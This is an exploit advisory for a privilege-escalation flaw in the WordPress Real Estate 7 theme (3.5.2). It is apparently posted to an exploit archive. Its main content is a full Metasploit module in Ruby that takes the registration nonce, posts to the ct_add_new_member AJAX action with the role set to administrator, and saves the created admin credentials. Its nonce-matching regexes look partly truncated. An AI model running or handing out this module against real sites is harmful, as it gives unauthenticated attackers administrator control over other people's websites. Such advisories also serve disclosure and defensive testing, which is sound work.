=============================================================================================================================================
| # Title : WordPress Real Estate 7 3.5.2 User Registration Privilege Escalation via ct_add_new_member AJAX Action |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://mhthemes.com/wp-themes/wp-pro-real-estate-7-wordpress-theme/ |
=============================================================================================================================================
[+] Summary : This Metasploit auxiliary scanner module targets a privilege escalation vulnerability in certain WordPress installations.
The flaw allows unauthenticated attackers to register a new user account with administrator privileges by abusing the ct_add_new_member AJAX action.
[+] The module works by: Initial Probe Sending a request to the WordPress registration page to detect the presence of vulnerable components such as:
ct_add_new_member
ct_register_nonce
[+] Nonce Extraction Parsing the registration page using flexible regular expressions to extract a valid registration nonce.
[+] Privilege Escalation Attempt Submitting a crafted POST request to /wp-admin/admin-ajax.php with:
ct_user_role set to administrator
The extracted nonce
Attacker-controlled username, email, and password
[+] Strict Success Validation Verifying exploitation success by:
Checking for HTTP 200 response
Ensuring Content-Type includes application/json
Parsing JSON response and validating multiple success patterns (true, "true", 1)
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress User Registration Privilege Escalation',
'Description' => %q{
Exploits a vulnerability in WordPress allowing administrator registration
via the 'ct_add_new_member' AJAX action.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'DisclosureDate' => '2024-01-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptString.new('USERNAME_PREFIX', [true, 'Prefix for generated usernames', 'wp_admin_']),
OptString.new('PASSWORD', [true, 'Password for the new user', 'P@ssw0rd123!']),
]
)
end
def run_host(ip)
username = "#{datastore['USERNAME_PREFIX']}#{Rex::Text.rand_text_alpha(5).downcase}"
email = "#{username}@example.com"
password = datastore['PASSWORD']
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'register'),
'method' => 'GET'
})
return unless res && res.code == 200
unless res.body =~ /ct_add_new_member|ct_register_nonce/i
vprint_error("#{ip} - Target does not appear to have the vulnerable component.")
return
end
nonce = extract_nonce(res.body)
unless nonce
vprint_error("#{ip} - Nonce not found (Registration might be disabled or hidden)")
return
end
print_status("#{ip} - Found nonce: #{nonce}. Registering admin: #{username}")
exploit_res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'vars_post' => {
'action' => 'ct_add_new_member',
'ct_user_login' => username,
'ct_user_email' => email,
'ct_user_pass' => password,
'ct_user_pass_confirm' => password,
'ct_user_role' => 'administrator',
'ct_register_nonce' => nonce,
'ct_user_terms' => 'on'
}
})
if exploit_res && exploit_res.code == 200
return unless exploit_res.headers['Content-Type']&.include?('json')
begin
json = JSON.parse(exploit_res.body)
if json['success'] == true || json['success'].to_s == 'true' || json['success'].to_i == 1
print_good("#{ip} - SUCCESS! Admin account created.")
report_admin_cred(ip, username, password)
else
vprint_error("#{ip} - Failed: #{json['data'] || json['message'] || 'Unknown error'}")
end
rescue JSON::ParserError
vprint_error("#{ip} - Response was not valid JSON.")
end
end
end
def extract_nonce(body)
patterns = [
/]+(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["'][^>]*value=["']([A-Za-z0-9_-]+)["']/im,
/]+value=["']([A-Za-z0-9_-]+)["'][^>]*(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["']/im
]
patterns.each do |pattern|
return $1 if body =~ pattern
end
nil
end
def report_admin_cred(ip, user, pass)
service_data = {
address: ip,
port: rport,
protocol: 'tcp',
service_name: (ssl ? 'https' : 'http'),
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: pass,
username: user,
realm_key: Metasploit::Model::Realm::Key::HTTP_HOST,
realm_value: ip
}.merge(service_data)
credential_core = create_credential(credential_data)
create_credential_login({
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data))
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================